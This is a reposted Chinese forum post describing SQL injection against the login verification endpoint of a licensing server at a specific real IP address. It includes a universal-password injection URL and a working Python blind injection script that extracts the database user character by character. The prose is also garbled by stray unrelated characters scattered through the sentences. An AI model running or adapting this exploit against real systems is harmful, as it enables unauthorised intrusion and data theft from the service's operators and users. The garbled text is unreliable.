來源:http://bbs.ichunqiu.com/thread-10120-1-1.html?from=ch
返回這么一個字符串
經(jīng)過測試過濾了單引號,奇葩的是SQL語句中的表名是通過$_GET獲取的,這樣就不需要單引號注入了
但是問題又來了号涯,這里是登錄處的注入目胡,按理說可以萬能密碼進去的,但是輸入http://115.159.147.96/ap_Verify.php?a=nb_softuser`+where+1=1+--+&user=asdasdasdas&pass=A3DCB4D229DE6FDE0DB5686DEE47145D&key=8E7CACDD62339A1D7A100347055D9104&ver=163&soft=VM&num=EJGDCHHCDX&sid=32F91605-CA92228F
他媽的從select語句變成了update語句链快,當(dāng)時有點懵誉己,后來才想明白,這是因為登錄不止執(zhí)行了一條SQL語句域蜗,還會執(zhí)行update語句更新收費會員的信息巫延,這樣萬能密碼就繞不過去了,還是得想辦法跑數(shù)據(jù)啊地消。SQLMAP應(yīng)該是不能識別這種注入點的炉峰。
寫了個python腳本。
[Python]純文本查看復(fù)制代碼
import urllib2
import re
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'ZDEDebuggerPresent=php,phtml,php3'))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
user = ""
for i in range(1,31):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = "http://115.159.147.96/ap_Verify.php?a=nb_softuser`+where+1+=+1+and+if(ord(mid(user(),"+s1+",1))="+s2+",1,0)+--+&user=a&pass=a&key=a&ver=16&soft=VM"
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=20)
#print req_data.read()
if re.findall('fa27f303f2dc7138a4a05578daf7e4ac',req_data.read()):
user+=p
print '\n user is:',user,
else:
print '.',
except urllib2.URLError,e:
break
最后打個廣告脉执,mysql時間盲注教科書地址:
http://www.f0rg3t.com/post/1de4895e_a4c9d97